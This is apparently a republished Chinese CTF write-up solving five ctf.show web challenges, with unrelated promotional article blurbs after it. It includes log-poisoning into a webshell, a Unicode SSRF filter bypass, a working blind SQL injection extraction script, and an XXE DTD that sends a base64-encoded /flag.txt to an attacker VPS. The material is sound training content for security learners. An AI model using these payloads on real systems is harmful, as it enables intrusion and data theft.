WEB_AK赛-ctf.show平台

2023-11-02 16:59
文章标签 平台 web ctf show ak

本文主要是介绍WEB_AK赛-ctf.show平台,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇内容
签到_观己
web1_观字
web2_观星
web3_观图
web4_观心

上一篇 | 目录 | 下一篇

签到_观己

访问得到源码:

<?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $file)){die('error');}else{include($file);}}else{highlight_file(__FILE__);
}?>

GET传入一个file参数,只要不含有php就会被包含。
尝试?file=/etc/passwd成功:
在这里插入图片描述
方法一
猜测了一下flag可能是根目录下的文件,尝试文件名为/flag、/flag.txt,发现/flag.txt成功:
在这里插入图片描述
方法二
Wappalyzer插件发现是nginx服务器,尝试包含一下日志文件/var/log/nginx/access.log成功:
在这里插入图片描述
那就写一句话进去,由于直接写在file参数里会被编码掉不能使用,所以写在User-Agent里。
在这里插入图片描述
蚁剑连接成功:
在这里插入图片描述
在根目录下找到flag.txt
在这里插入图片描述





web1_观字

访问给源码:

<?php#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){$url = $_GET['url'];$protocol = substr($url, 0,7);if($protocol!='http://'){die('仅限http协议访问');}if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){die('仅限域名地址访问');}system('curl '.$url);
}

GET传入一个url参数,url的前7位必须是http://,之后的内容不能出现preg_match匹配的内容。
flag在http://192.168.7.68/flag
点号(.)被过滤,尝试将IP转换成10进制或16进制数:
在这里插入图片描述
可惜把0也给过滤了,不能用。
而url可以利用【unicode字符集】Enclosed alphanumerics绕过。例如①②⑦。⓪。⓪。①相当于127.0.0.1
所以点号(.)可以用句号(。)代替。
在这里插入图片描述





web2_观星
在这里插入图片描述
这文章列表跟我之前做过的题一样,肯定是sql注入攻击了,只是注入方式不同了而已。
?id=1?id=2?id=3分别是不同的文章,这是可利用的一点。
尝试后发现提示enheng?就表明被过滤了,而且过滤了很多东西,FUZZ一下:
在这里插入图片描述
上图框中的都是被过滤的,单引号(')、等号(=)、逗号(,)等被过滤了就很难受。
可以使用case()when()then()else()end来代替。

?id=case(1)when(1)then(1)else(2)end
?id=case(1)when(2)then(1)else(2)end

直接上脚本:

import requests
import urllib.parseurl='http://e1b775ed-d00a-4333-9677-6f0b59bba38d.chall.ctf.show/index.php'
res = ""for i in range(1,50):print(i,end='\t')for j in range(32,127):#1、爆库#payload = '?id=case(ord(substr((database())from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#2、爆表名。等号(=)被过滤,用regexp来代替#payload = '?id=case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#3、爆列名。单引号(')被过滤,用16进制编码#payload = '?id=case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#4、爆flagpayload = '?id=case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))t = requests.get(url+payload)if 'If' in t.text:res += chr(j)print(res)
#database() = web1
#table_name = flag,page,user
#column_name = FLAG_COLUMN,flag

在这里插入图片描述





web3_观图

访问后直接查看源代码:
在这里插入图片描述

访问后还是图片,删掉?image=Z6Ilu83MIDw=得到php源码:

<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){$image=$_GET['image'];$str = openssl_decrypt($image, 'bf-ecb', $key);if(file_exists($str)){header('content-type:image/gif');echo file_get_contents($str);}
}else{highlight_file(__FILE__);
}
?>

而百度后发现rand()能产生的最大值是32768,数不大,那么就可以解密Z6Ilu83MIDw=,php脚本如下:

<?php
for ($i=0; $i <= 32768; $i++) { $key = substr(md5('ctfshow'.$i),3,8);$image="Z6Ilu83MIDw=";$str = openssl_decrypt($image, 'bf-ecb', $key);if($str!=''){echo $str;echo "<br>";}
}
?>

在这里插入图片描述
发现只有一个正常,有理由相信Z6Ilu83MIDw=解密后就是1.jpg,那么也就能得到rand值了:

<?php
for ($i=0; $i <= 32768; $i++) { $key = substr(md5('ctfshow'.$i),3,8);$image="Z6Ilu83MIDw=";$str = openssl_decrypt($image, 'bf-ecb', $key);if($str=='1.jpg')echo $i;
}
?>

得到27347,即rand值为27347,图片是1.jpg
那就可以查看config.php了:

<?php$key = substr(md5('ctfshow27347'),3,8);$image="config.php";$str = openssl_encrypt($image, 'bf-ecb', $key);echo $str;
?>

得到N6bf8Bd8jm0SpmTZGl0isw==,访问后查看源代码得到flag。
在这里插入图片描述





web4_观心

查看网页源代码:
在这里插入图片描述
查看js/common.js
在这里插入图片描述

也可以点击占卜,在Network处可看到一个api.php
在这里插入图片描述
访问一下:
在这里插入图片描述

\u6765\u81ea\u5efa\u5fb7\u5e02\u7684\u9053\u53cb,\u4f60\u90a3\u91cc\u73b0\u5728\u662f\u9634\u8f6c\u591a\u4e91 \u98ce\u5411\u4e3a\u4e1c\u98ce4-5\u7ea7\u8f6c\u5fae\u98ce
解密内容为:
来自建德市的道友,你那里现在是阴转多云 风向为东风4-5级转微风

肯定是修改xml内容,构造XXE漏洞,可惜不太会搞,问了羽师傅才会做。

在公网VPS里写一个air.xml,内容为:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://IP地址/air_xxe.dtd">

再写一个air_xxe.dtd,内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://IP地址/?%file;'>"> %all;

然后访问即可得到flag。

http://3898d261-7b15-4087-b35e-652fbba532a7.chall.ctf.show/api.php
POST数据:api=http://IP地址/city.xml&city=air

在这里插入图片描述





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/107706627
========================================================

这篇关于WEB_AK赛-ctf.show平台的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/332012

相关文章

流媒体平台/视频监控/安防视频汇聚EasyCVR播放暂停后视频画面黑屏是什么原因?

视频智能分析/视频监控/安防监控综合管理系统EasyCVR视频汇聚融合平台,是TSINGSEE青犀视频垂直深耕音视频流媒体技术、AI智能技术领域的杰出成果。该平台以其强大的视频处理、汇聚与融合能力,在构建全栈视频监控系统中展现出了独特的优势。视频监控管理系统EasyCVR平台内置了强大的视频解码、转码、压缩等技术,能够处理多种视频流格式,并以多种格式(RTMP、RTSP、HTTP-FLV、WebS

综合安防管理平台LntonAIServer视频监控汇聚抖动检测算法优势

LntonAIServer视频质量诊断功能中的抖动检测是一个专门针对视频稳定性进行分析的功能。抖动通常是指视频帧之间的不必要运动,这种运动可能是由于摄像机的移动、传输中的错误或编解码问题导致的。抖动检测对于确保视频内容的平滑性和观看体验至关重要。 优势 1. 提高图像质量 - 清晰度提升:减少抖动,提高图像的清晰度和细节表现力,使得监控画面更加真实可信。 - 细节增强:在低光条件下,抖

JAVA智听未来一站式有声阅读平台听书系统小程序源码

智听未来,一站式有声阅读平台听书系统 🌟&nbsp;开篇:遇见未来,从“智听”开始 在这个快节奏的时代,你是否渴望在忙碌的间隙,找到一片属于自己的宁静角落?是否梦想着能随时随地,沉浸在知识的海洋,或是故事的奇幻世界里?今天,就让我带你一起探索“智听未来”——这一站式有声阅读平台听书系统,它正悄悄改变着我们的阅读方式,让未来触手可及! 📚&nbsp;第一站:海量资源,应有尽有 走进“智听

如何解决线上平台抽佣高 线下门店客流少的痛点!

目前,许多传统零售店铺正遭遇客源下降的难题。尽管广告推广能带来一定的客流,但其费用昂贵。鉴于此,众多零售商纷纷选择加入像美团、饿了么和抖音这样的大型在线平台,但这些平台的高佣金率导致了利润的大幅缩水。在这样的市场环境下,商家之间的合作网络逐渐成为一种有效的解决方案,通过资源和客户基础的共享,实现共同的利益增长。 以最近在上海兴起的一个跨行业合作平台为例,该平台融合了环保消费积分系统,在短

Android平台播放RTSP流的几种方案探究(VLC VS ExoPlayer VS SmartPlayer)

技术背景 好多开发者需要遴选Android平台RTSP直播播放器的时候,不知道如何选的好,本文针对常用的方案,做个大概的说明: 1. 使用VLC for Android VLC Media Player(VLC多媒体播放器),最初命名为VideoLAN客户端,是VideoLAN品牌产品,是VideoLAN计划的多媒体播放器。它支持众多音频与视频解码器及文件格式,并支持DVD影音光盘,VCD影

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【区块链 + 人才服务】区块链集成开发平台 | FISCO BCOS应用案例

随着区块链技术的快速发展,越来越多的企业开始将其应用于实际业务中。然而,区块链技术的专业性使得其集成开发成为一项挑战。针对此,广东中创智慧科技有限公司基于国产开源联盟链 FISCO BCOS 推出了区块链集成开发平台。该平台基于区块链技术,提供一套全面的区块链开发工具和开发环境,支持开发者快速开发和部署区块链应用。此外,该平台还可以提供一套全面的区块链开发教程和文档,帮助开发者快速上手区块链开发。

K8S(Kubernetes)开源的容器编排平台安装步骤详解

K8S(Kubernetes)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序。以下是K8S容器编排平台的安装步骤、使用方式及特点的概述: 安装步骤: 安装Docker:K8S需要基于Docker来运行容器化应用程序。首先要在所有节点上安装Docker引擎。 安装Kubernetes Master:在集群中选择一台主机作为Master节点,安装K8S的控制平面组件,如AP

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud